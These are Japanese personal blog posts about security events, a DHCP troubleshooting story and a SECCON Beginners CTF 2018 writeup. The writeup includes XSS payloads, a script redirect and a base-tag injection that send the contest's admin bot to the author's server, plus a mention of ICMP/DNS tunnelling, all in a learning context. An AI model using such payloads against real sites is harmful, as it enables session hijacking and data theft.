SECCON Beginners 2018 広島に行ってきた
タイトルの通り,SECCON Beginners 広島に参加してきました.
SECCONとかCTFの説明は省略していいですよね.
Beginnersは,CTF初心者向けの勉強会です.
今回の広島回では,初のCrypt講義があるとのことで参加してきました.
申し込み 〜 会場到着
ctf4b広島は落選っぽいな?
— banban (@shepherd1021) August 21, 2018
SECCON Beginners広島は,抽選制だったのですが,実は一度落選してます.
その後,追加当選のメールが届き,当選していた弊研究室の後輩と一緒に行ってきました.
というわけで(?)広島行きのバスに乗りました
— banban (@shepherd1021) August 31, 2018
バスが着かないせいでておくれそう
— banban (@shepherd1021) September 1, 2018
もともと,開始20分前に最寄りの高速バスターミナル着で不安だったのですが,
この不安が的中し,バスが20分以上の遅刻.
なおまだバスは着いていない。
— banban (@shepherd1021) September 1, 2018
遅刻連絡した方が良いかな?
会場に到着したのは,最初の講義が始まって5分ぐらい経った時点でした.
運営や参加者の皆さんにはご迷惑をおかけしました.すいませんでした.
講義
講義1. Crypt
講義の1つ目はCryptでした.
内容はRSA暗号入門的な内容でした.
プログラムでゴリゴリやるのではなく,手書きで問題を解くような流れで
講義が進んでいきました.
RSAは以前,調べたことがあったのですが
Pythonのライブラリの使い方が分からず挫折した経験があったので,
手書きで,根本的なところを説明していただき理解が進んだような気がします.
講義2. Web
WebはXSSの話でした.
内容は正直知っているような内容でしたが,
隣の後輩に講義の補足説明(そこまで大した内容ではない)
を講義後にしたことで,自分の理解も進んだような気がします.
講義3. Rev
バイナリわからん.
講義では,バイナリを読んでいこう! 的な内容であり,
順にいろんなスタックやループなどの形式のアセンブリを読んできいきました.
結果としてアセンブリを完全に理解しました(大嘘)
CTF演習
SECCON Beginnersといえば,最後にCTF演習があります.
問題のWriteupとかは,ggれば多分出てきます.調べてください.
Cryptをいままで解けたことがなかったので,今回はCryptから挑戦していきました.
結果は以下のような感じ
rev分からんということが分かるスコアボード #ctf4b #seccon pic.twitter.com/clN91dQBvn
— banban (@shepherd1021) September 1, 2018
Cryptをいくつか解くことができました.
Revに関しては,Cryptの最後の問題に時間をかけすぎて触れず...
strignsコマンドで解けた問題が二問ほどあったとかで,悔しいです...
あと最終順位表は以下のような感じ
結果は6位という中途半端な順位でした...精進します.
さいごに
SECCON Beginners 広島楽しかったです.
CTF熱が久しぶりに湧いてきたので,何かジャンルを絞って勉強してみようかな?
また一蘭 pic.twitter.com/98YA7g6yTM
— banban (@shepherd1021) September 1, 2018
同じ大学在学中の方と会場で出会い,晩ごはんを一緒に食べました.
Micro Hardening v1.x@岡山 でリベンジ?
タイトルの通り、岡山で開催されたMicroHardeningに参加してきました!
4月に開催されたtktkセキュリティ勉強会のMicroHardeningにも参加経験があったので、
実はMicroHardeningへの挑戦は2回目でした!
ちょっとだけ、今回のMicroHardening@岡山についてブログにまとめたいと思います。
MicroHardeningとは
このページを見て下さい(丸投げ)。
つまり、本家Hardeningの短い版です。
45分という短い時間の中で売上を最大化する。 これを、3セット繰り返します。
3セットそれぞれの内容は全く同じ。だから、1セット目より2セット目。2セット目より3セット目と、スコアを伸ばしていくことが目標です。
3セットな理由は、当日に講師の川口さんが話されていましたが
「スーパーマリオも残機3からスタートなので、3セットあればある程度できた感じになるよね?」
という理由だそうです。 とても良い理由だと思います。
結果
通常、MicroHardeningは3−4人ぐらいで一つのECサイトが動くサーバを守るのですが、自分を含めた参加者のうち3人は
経験者ということで1人1台のサーバを頂けることに...
複数人で担当するはずの作業を1人で行うことになりました。まあ、お値段的にはお得だったのかな?と思います(笑)
結果は、以下のようになりました。
1セット目終了。最初は環境を把握するため全チームグラフが伸びず。2セット目以降に対応するため各チーム振り返りをしています。 #microhardening pic.twitter.com/0bGShHvarP
— MicroHardening (@MicroHardening) August 4, 2018
2セット目終了。順調にスコアが伸びてきています。チーム4,5,6はtktksecの経験者の1人チームなので追い風参考値。 #microhardening pic.twitter.com/qFlhgFVW8M
— MicroHardening (@MicroHardening) August 4, 2018
3セット目の成績。最後はどのチームももがきつつもグラフが上がっていきました。知っていることができることになった瞬間!お疲れさまでしたー。 #microhardening pic.twitter.com/lj8HK5heCf
— MicroHardening (@MicroHardening) August 4, 2018
私が担当したのは、チーム4です。
全部は話せないですが、自分のやった内容をぼかして(?)言うと
1回目:
簡単な堅牢化だけ施して、サービスの死活監視(手動)。スコアだけ見るとそこそこ順調かな。防御点は低い。2回目:
いくつか堅牢化をするものの、あまりうまく働かず失速...。3回目に期待。3回目:
他の経験者の方が行われた内容を伺い、色々適用。あとプロキシ通して更新もしてみた。一時的にサービスが落ちているのに気づかなかったもののスコア10万点超え、防御点も10を超えることができた。
といった感じでした。
感想
感想は、以下の感じ。
- 1人は大変。猫の手も借りたいとはこのこと。具体的にはログを見てくれる目が欲しい。
- iptablesを自作できないと防御点は稼ぎづらいかも。
- 1人の場合は、スクリプトを作って2回目、3回目に挑むほうが効率良さそう。というよりそうしないと、色々間に合わない(笑)
- 1人の場合は、自分の分かっていない部分(他の人に任せていた部分)がわかる。
1人は大変だけど、逆に学びもあったし充実した疲れを感じました。
参加してよかったです。
おわりに
MicroHardeningは川口設計の川口洋さんが作られて運営されているものです。
本来は、お金を取るような内容の演習を無料で受けさせて頂けるというのは大変ありがたいです。
現在も、川口さんは全国でMicroHardeningを開催されています。
もし、みなさんも機会がれば是非受けてみてください。
SecHack365 北海道回の参加メモ
SecHack365北海道回
2018/6/29 〜 7/1 に北海道で開催されたSecHack365北海道回に参加しました。
簡単にまとめます。
1日目
さくらインターネット様の石狩データセンターを見学してきました。
石狩データセンターでは、外気を取り入れた冷却電力削減や排熱のロードヒーティングへの利用など
環境を利用(環境のことを考えた?)試みがたくさんされているデータセンターでした。
データセンター内はとてもきれいで、イメージしていたデータセンタって感じじゃなかったです。
2〜3日目
この日から北海道回って感じでした。
アイデア発想法や縁日など色々な企画が用意されていました。
特に縁日の企画は楽しかったので、少し以下でまとめます。
縁日
参加した縁日は
「ネットワークハッキング ~自由を手に入れよう!誰でもできるネットワークすり抜け術~」と
「Raspberry PIルータで体験するインターネットの仕組み+ネットワーク講義」
でした。
ネットワークハッキング
様々な条件があるネットワークから、外部とHTTPの通信がしたい!って内容でした。
例えば、プロキシ経由でしか外部にHTTP通信できない環境で、プロキシに通信内容を見られたくない!!みたいな場合です。
これは簡単で、sshのポートフォワーディングを使う方法でした。(これはもとから知ってた)
個人的にはこれ以降が面白かったです。 「プロキシ経由でも外部とHTTP通信やSSH通信もできないが、ICMP通信は可能な環境」や 「プロキシ経由でも外部とHTTP通信やSSH通信もできないが、DNS(53/TCP、53/UDP)は可能な環境」な環境などです。
HTTPもSSHも無理なら外部とのHTTP通信なんて無理じゃね?って思いますが、なんと通信できます!
方法は、両方ともに同じ考え方です。
ICMP(Ping)やDNS(名前解決)のパケットのPayload部(?)に空きがあるらしいです。ここに必要なパケットを分割して詰め込み通信を行うとのこと。
実際にやってみましたが、考えた人すごいですね...。あとすごい悪用できそうですね...。(もちろん悪用は厳禁です!!)
なお、事前準備が少し必要なので、いつでも可能ってわけではなさそうです。
Raspberry PIルータ体験
実際にRaspiをつかって、複数のRaspi間の通信とRaspi下にPCと通信してみるっていうハンズオンでした。
最近、NW系機器を触る機会が多かったので、実際に手を動かして1からRouting Tableを作るっていうのは、大変ですが仕組みをよく理解できてよかったです。
こう考えると、NW系の機器はかなり簡単に設定ができるようになっていて便利ですね。改めて実感しました。
最近、検証用のNW機器が欲しい欲がさらに高まりました。お金溜まったら買いますかね。
まとめ
雑な文章でしたが、一応の北海道回まとめでした。 時間できたら文章をアップデートします。
初北海道でしたが、気候が最The高でした。夏だけ北海道に住みたい...。
GitHub pagesを作ってみた
興味があったので、GitHub pagesを作ってみました。
GitHub pagesとは?
GitHubが提供するホスティングサービスで、ウェブページをインターネット上に公開することができます。
自分のGitHubのリポジトリに静的ファイル(HTML、CSS、JS)を配置することで、「https://{username}.github.io」というアドレスで
ホームページやポートフォリオサイトを作ることができるサービスです。
ポートフォリオサイトあると便利だよな〜(使い道ないけど)と何度か考えたことがあったので今回作ってみました。
作り方
ググれば出てきます
これで、完了です。(簡単!!)
ページが作れているか気になる場合は、URLにアクセスしてもいいですし、「setting」を開きページを下にスクロールするとページのURLが表示されています。
作ったサイトは以下になります。
https://yuyaban.github.io/
なお、CSSやJSは雰囲気しか理解していないので、便利なテンプレートを利用して作りました。
pure というCSSのレスポンシブテンプレートです。JSは一切使いません。
興味ある方も、無料なので作ってみてはどうでしょう?
以上です。
SECCON Beginners CTF 2018のwriteup
SECCON Beginners CTF 2018に挑戦しました。 チームGuardPenguinで参加しました。
せっかくなので、writeupというのを書いてみます。
といっても、情報危機管理コンテストに参加していたのでちゃんと問題解き始めたのは土曜日の夕方以降…
夕方までに他のチームメンバに解かれてしまっていました。
というわけで、自分の解いた問題だけでも載せておきます。
(危機管理コンテストについては後日まとめて書きます。)
てけいさんえくすとりーむず
やるだけでした。
import socket import time msg_list = [] msg = '' host = "tekeisan-ekusutoriim.chall.beginners.seccon.jp" port = 8690 server_address = (host, 6789) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) print('Connect Success!!') for _ in range(1000): msg = s.recv(4096).decode() msg_list = msg.split('\n') for m in msg_list: print(m) q = "".join(msg_list[-1].split(' ')[:3]) ans = str(eval(q)) + '\n' print('{}'.format(ans),end="") s.send(ans.encode())
encode問題でつまりましたが、なんとかSolve。
ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}
Find the messages
imgファイルが渡されるのでそれを解析する問題。 まずはfileコマンド。Diskイメージっぽい。マウントできそう。
root@ubuntu:~# file disk.img disk.img: DOS/MBR boot sector; partition 1 : ID=0x83, start-CHS (0x0,32,33), end-CHS (0x8,40,32), startsector 2048, 129024 sectors
つづいて、binwalkで中に色々なファイルがみえるので、展開してみた。
root@ubuntu:~# binwalk disk.img DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 1048576 0x100000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 9437184 0x900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 9698491 0x93FCBB Unix path: /root/img/message2/output 9700352 0x940400 PDF document, version: "1.3" 11535548 0xB004BC Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#"> 17831936 0x1101800 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 17848320 0x1105800 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 17868800 0x110A800 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 17874944 0x110C000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 26214400 0x1900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 42991616 0x2900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 59768832 0x3900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd root@ubuntu:~# binwalk --dd=".*" disk.img DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 1048576 0x100000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 9437184 0x900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 9698491 0x93FCBB Unix path: /root/img/message2/output 9700352 0x940400 PDF document, version: "1.3" 11535548 0xB004BC Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#"> 17831936 0x1101800 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 17848320 0x1105800 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 17868800 0x110A800 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 17874944 0x110C000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 26214400 0x1900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 42991616 0x2900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd 59768832 0x3900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
展開したPDFファイル(展開後は 940400
というファイル名)の拡張子をちゃんとPDFに変えると開けた。
中身は disk_image_for3nsics}
FLAGの末尾っぽい。
次に dis.img
のマウント
root@ubuntu:~# parted GNU Parted 3.2 Using /dev/sda Welcome to GNU Parted! Type 'help' to view a list of commands. (parted) u Unit? [compact]? B (parted) print Model: ATA Ubuntu Linux 16. (scsi) Disk /dev/sda: 68719476736B Sector size (logical/physical): 512B/4096B Partition Table: msdos Disk Flags: Number Start End Size Type File system Flags 1 1048576B 67645734911B 67644686336B primary ext4 boot 2 67646782464B 68718428159B 1071645696B extended 5 67646783488B 68718428159B 1071644672B logical linux-swap(v1) (parted) q root@ubuntu:~# mount -t ext4 -o loop,rw,offset=1048576 disk.img ~/img/ root@ubuntu:~# tree img/ img/ ├── lost+found ├── message1 │ └── message_1_of_3.txt ├── message2 │ ├── message_2_of_3.png │ └── output │ └── audit.txt └── message3
message_*_of_3
が2つありますね。これで、さっきのPDFが message_3_of_3
だと予想。他2つからフラグが取れないか調査します。
message_1_of_3.txt
はそのまま読めました。 ctf4b{y0u_t0uched
でした。
message_2_of_3.txt
はpngっぽいのですが、壊れてて開けません。
どうしようか悩んでいたところ、他のメンバが
「バイナリの先頭ヘッダが書き換えられていたので治した」とのコメントが
開けたファイルには _a_part_0f
と書いてありました。
つなげればFLAG ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics}
をゲット
Gimme your comment
Webの問題。
新規投稿の本文内でXSSが発火。
XSSを利用して、管理者を別ページへリダイレクトさせることを狙う。
<script>location.href='http://(自分のサーバIP)”; </script>
で管理者が自分のサーバにアクセスしてくるので、apacheのログから管理者の user agent
を確認できる。
FLAG ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}
Gimme your comment REVENGE
先程の問題では存在した、本文内でのJavascript発火が防がれていた。
でも HTMLタグ系は動くっぽい。
最初は <form ~
のボタンを騙して、リダイレクトを狙っていたが上手く動かず…
(上手く動いている人もいる模様…)
他の方法ということで、上手くいったのが <base>
タグを利用する方法。
<base href='http://(自分のサーバIP)' />
とすることで、管理者がページ内のコメント投稿ボタンを押すと
http://(自分のサーバIP)/comment
に飛ばされる。
これで、さきほどと同様にuser agent
を確認できる
FLAG ctf4b{d3f4ul7_5rc_15_n07_3n0u6h}
Message from the future
これはわずかに時間が足りずに提出できなかった問題。
Message_from_the_future
という実行ファイルが渡される。
この実行ファイルで暗号化した文字列も与えられており、これを復号する問題である。
この実行ファイルは、引数に指定した文字列を暗号化しているようだ。
root@ubuntu:/CTF/seccon_2018_beginners/message_from_the_future# ./Message_from_the_future a 4f root@ubuntu:/CTF/seccon_2018_beginners/message_from_the_future# ./Message_from_the_future ab 4f5b
一文字が二文字に置換されている。これは、一定のようだ。
(最初はそう思っていたのだ…)
「じゃあ、総当たりで解けるんじゃん!」 と思って、プログラムを書き、総当たりするが、暗号化された文字列と一致しない…
時間を置いて、いろいろ調べてみるとどうやら時間を使っているらしい。
確かに、Linuxの時間を変えて実行すれば値が変わる。
問題文に「2020年から〜」とある。じゃあ2020年に変えてみよう。月も影響してるっぽいから変えてみよう。
フラグは ctf4b
から始まるため、これを実行ファイルに与えたときに与えられた文字列と一致する年月を探す。
2020年の8月が一致した。
あとは、最初やったとおり総当たり。
以下がプログラム
(※date -s '2020/08/01 12:00:00'で時計が1秒程度しか固定できなかったので、ちょっと無理やりなコードになっています(笑))
import subprocess debug = 0 crypt = b'0f242e412b34212e3d65501c2d7e597f47395c0751675a2b13567d5f3c7b6a1d70540a684d604759' src = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@$%^_-+={}[]:/.,#&*<>\^_`|~()"?' print(src) length = int(len(crypt)/2) flag='' tmp_flag ='' commands =['./Message_from_the_future',''] datecommand = ['date','-s','2020/08/08 13:00:00'] for i in range(length): if debug == 1: print('[+] next:{}'.format(flag)) subprocess.call(datecommand) print(subprocess.check_output('date')) print('------------------------------------------') for k in range(len(src)): tmp_flag = flag + src[k] #commands = './Message_from_the_future'+' '+tmp_flag commands[1] = tmp_flag if debug == 1: print('[+] now command:{}'.format(commands)) msg = subprocess.check_output(commands) if debug == 1: print('[+] match? [{}][{}]'.format(msg[(i*2):(i*2)+2],crypt[(i*2):(i*2)+2])) if msg[(i*2):(i*2)+2] == crypt[(i*2):(i*2)+2]: print('[*] match!!') print('------------------------------------------') print('[*] now flag:{}'.format(tmp_flag)) flag = tmp_flag break if src[k] == "?": print('------------------------------------------') print('[-] missed...') flag = tmp_flag break print(flag)
実行結果
root@ubuntu:/CTF/seccon_2018_beginners/message_from_the_future# python decrypt_solver.py abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@$%^_-+={}[]:/.,#&*<>\^_`|~()"? Sat Aug 8 13:00:00 JST 2020 Sat Aug 8 13:00:00 JST 2020 ------------------------------------------ [*] match!! ------------------------------------------ [*] now flag:c Sat Aug 8 13:00:00 JST 2020 Sat Aug 8 13:00:00 JST 2020 ------------------------------------------ [*] match!! ------------------------------------------ [*] now flag:ct Sat Aug 8 13:00:00 JST 2020 Sat Aug 8 13:00:00 JST 2020 ------------------------------------------ [*] match!! ------------------------------------------ [*] now flag:ctf Sat Aug 8 13:00:00 JST 2020 Sat Aug 8 13:00:00 JST 2020 〜〜〜(略)〜〜〜〜〜 ------------------------------------------ [*] match!! ------------------------------------------ [*] now flag:ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_ Sat Aug 8 13:00:00 JST 2020 Sat Aug 8 13:00:00 JST 2020 ------------------------------------------ [*] match!! ------------------------------------------ [*] now flag:ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_? Sat Aug 8 13:00:00 JST 2020 Sat Aug 8 13:00:00 JST 2020 ------------------------------------------ [*] match!! ------------------------------------------ [*] now flag:ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_?}
FLAG ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_?}
SecHack365 神奈川回の参加メモ
SecHack365という一年を通じて行うセキュリティハッカソンに参加することになりました!!
その第一回が先日有りましたので、やったことを備忘録的に残しておきます
SecHack365とは?
そもそもSecHack365を知らない人は以下のリンクを見てください。
昨年から始まり、今年で二回目だそうです。
倍率も6.9倍とかなり高かったようで、自分が採用されたのはラッキー枠かユーモア枠か何かでしょう。
でも、採用されたからには一年間しっかり楽しんで、成長したいと思います。
第一回オフラインイベント 神奈川回
Day1
初日は、お昼過ぎに集合して顔合わせを行いました。
岡山から向かったので、朝の起床がそこそこ早く辛かった…
眠かったのですが、神奈川回で使用するスライドが未完成だったため新幹線の中で作成をしていました。
これは秘密なんですが、新幹線で課題のスライド作成やってます
— banban△ (@shepherd1021) 2018年5月18日
とりあえず、遅刻せずに会場には到着。
初日は、トレーナーの方からのSecHack365の説明と顔合わせがありました。
(SecHack365では、受講者をトレーニー、アドバイスをくれる先生方をトレーナーと呼びます)
また、初回と言うことで、マンダラートを作りSecHack365の目標(?)を立てたりもしました。
マンダラートは大谷翔平で有名だったので、知っていたのですが、いざ自分で書くとなると81マス埋めるのは結構たいへんでした。
夜は、懇親会があってご飯やミニゲームを楽しみました。
夜にお部屋にGが出たのはまた別の話…
Gがでた...
— banban△ (@shepherd1021) 2018年5月18日
窓からお帰りになってもらった
— banban△ (@shepherd1021) 2018年5月18日
Day2
午前のアイデアソンでは、応募時に書いていた「開発したいもの」をトレーニー同士で説明しあいました。
他の人の作りたいモノを聞くと、かなり高度な内容を提案されていて「やっぱすごい人が多いなぁ」と感じました。
ちなみに自分は、ペンテストを学習できるプラットフォームを提案しました。
自分、映ってる…
午後からは、コースワークです。
私は表現駆動コースで採用されているので、表現の方々とコースワークしました。
発表5分 + 質疑10分で自分の開発したいテーマについてプレゼンしました。
かなり早口オタクになりましたが、十分伝えられたと思います。
特にNICTさんはサイバーレンジ事業にも関わってらっしゃるので、内容的に近い僕のテーマでは、かなりお力を借りられそうな意見をいただきました。
ただし、自分のテーマとほぼおなじことができるCYDERRANGEというのを計画しているらしく「あ、オワタ…」と一瞬なりましたが、様々な案をいただけたのでとりあえず、当分はできる範囲で価値を考えていきたい思います。
CyderRangeの記事はこちら
サイバー演習自動化システム“CYDERANGE”の開発と実運用の開始 | NICT-情報通信研究機構
夜は、NightChallengeという、グループで何か作ってみよう!という課題が出されました。
作るものの候補はいくつか示されていて、私達のチームは「俳句の自動生成」に挑戦しました。
夜中駆動コース#SecHack365 pic.twitter.com/My1DXoIwlj
— まつ (@x86server) 2018年5月19日
一番ハッカソンぽかったです。
私達のチームは、必ず季語をひとつ入れて、残りは、名詞、助詞、動詞を文法的に合ってるように組み合わせる方法を取りました。
なお、品詞それぞれのデータベースを作るのには、形態素解析がきでる「MeCab」を利用しました。
なお、ネタとして「-m」の下の句が必ず最上川になる最上川オプションと「-h」の上の句が必ずほととぎすになるほととぎすオプションを作りました。
出来た俳句は、以下のようなモノ
* サイにより つきあう荒れ地 最上川
* ホトトギス 至る脅威 フルとして
なんとなく、最上川にすると意味は分からないが締まりが良くなる気がします。
Day3
午前はコースワークの続きでした。
NightChallengeで各班が作ったものを発表しました。
どの班も、ただのHello worldやFizzBuzzのプログラムなのに、すごく凝っていました。
中には変態プロもいました。
待機中のノイズから本当の乱数をつくるサイト…意味がわからないhttps://t.co/DtXDvVVE1I#SecHack365
— banban△ (@shepherd1021) 2018年5月20日
「アセンブリ言語で書きました!」
— banban△ (@shepherd1021) 2018年5月20日
???「やっと普通の言語が来たね!」#SecHack365
??「Haskelは見た目が異質ですね」#SecHack365
— banban△ (@shepherd1021) 2018年5月20日
俳句の自動生成の班は幾つかあり、それぞれ様々な方法で実現していました。
個人的には「JPOPの歌詞から俳句を生成する」というやつが気に入りました。
それっぽい俳句が多く生成されていました。
JPOPにありそうな歌詞から俳句生成
— banban△ (@shepherd1021) 2018年5月20日
「会いたいよ せめて言わせて 愛してる」
それっぽい!!#SecHack365
午後からは個活でした。
自分は、SecHackで用意されているBacklogのWikiや個人ページの作成と
ひとまずペンテストできる環境を作るために攻撃シナリオを考えていました。
これにて、SecHack365 神奈川回は終わりです。
次回は北海道回です。
次回まで約40日あるらしいので、それまでに何かしらの進捗を生みたいと思います。
以上
おまけ
帰りに横須賀に寄って食べたカレーが美味しかったです。
あと、かわいい店員さんが可愛い制服来てて最高でした。
また行きたいです。
2回目の来店。美味しかったです🙏 pic.twitter.com/BGLlTwntnO
— banban△ (@shepherd1021) 2018年5月20日
(あと店員さんの制服が可愛かったです)
— banban△ (@shepherd1021) 2018年5月20日
以上(2回目)
バイト先のWi-Fiルータから192.168.Y.Xが振ってこないのを解決した話
バイト先で、ネットに繋がらない!! と言われ、解決したのでやったこととを備忘録的にまとめる。
※やってることは初歩的な内容ダヨ
バイト先について
私のバイト先は、Microsoft Officeの使い方を教えるいわゆるパソコン教室である。
MSOfficeがある程度使えれば良いので、その他のPC知識に詳しくない人でも働ける。
2つの教室にはWi-Fiが飛んでおり、別部屋に設置してあるRTX1200から各教室にLANケーブルが引かれている。
以下のような感じ
[Internet] -- [RTX1200] -- [Wi-Fiルータ1] or [Wi-Fiルータ2] ・・・
RTX1200は、192.168.Y.1/24をDHCPで割り振るように設定してある。 つまり、Wi-Fiルータに接続した端末には192.168.Y.4~254 が割り振られる。 (Y.1はRTX1200、Y.2, 3はWi-Fiルータに割り当て)
発生したインシデント
その日は、スタッフが集まるミーティング的な日(PC教室の授業とは別に集まる機会がある)。
自分が到着したのは、ほとんど最後の方だった。
自分が到着すると
A「banbanさん!ネット繋がらないんです!」
banban「???」
3日前に自分がPC教室で生徒に教えていたときは、自分も生徒も繋がっていた。
Aのパソコンの調子が悪いだけだと思っていたのだが、半分ぐらいの人がつながっていない。
一方で残り半分は普通に繋がっている。
さて、繋がっている人がいるのに、繋がっていない人もいる。
さて、なーんでだ?
という、インシデントでした。
解決方法
繋がっている人のPCには、正しく 192.168.Y.Xというアドレスが振られていた。
つながっていない人のPCを確認すると、169.254.Y.Xというアドレスが振られていた。
調べてみると、169.254.Y.X というアドレスは、DHCPが上手く割り当てられなかった時にパソコンが自身で割り当てるリンクローカルアドレスと言うものらしい。
つまり、DHCPに問題があることがわかる。
(この時点で、原因の予想がたつ)
RTX1200がDHCPを割り振っているためGUIで様子を確認。
すると、DHCP割り振り済み端末の数が245となっている...
(やっぱり)ほぼアドレス枯渇してるぅぅ!!
しかし、その時その場にいる人間の数を考慮してもそんな数のデバイスがあるとは思えない。
つまり、現在ここにはいないデバイスに割り振っているわけだ。
DHCPのリース期間の設定を確認する。
リース時間: 72時間
…3日!?
ということで、原因はここ三日間でWi-Fiに繋いだ生徒達のPCにアドレスをリースしっぱなしだからでした。
リース時間を72時間から3時間(授業が大体2時間なため)に変更することで、3時間より前にリースされていたアドレスは解放され、上手く接続できていなかったPCに割り振られ直しました。
ちなみに、一部の繋がっていた人(自分含め)は、ここ3日間以内にここのWi-Fiに一度でも繋いだことのあるPCでした。
まとめ
RTX1200のデフォルトのリース時間は72時間らしいです。つまり、デフォルトのままだったのが原因だったんですね。
先週にRTX1200の設定を少しいじった人がいたようで、その時にデフォルトに戻ってしまったのでしょうね。
DHCPのアドレス枯渇は、こういった多くの人(生徒数600人ぐらい)が繋ぐWi-Fi環境ならではなインシデントな気がします。
リース時間にも十分気を使ったほうが良いということですね。
※素人の解決方法なので、こうした方が良いよ!とかあれば、ご指導ください。
以上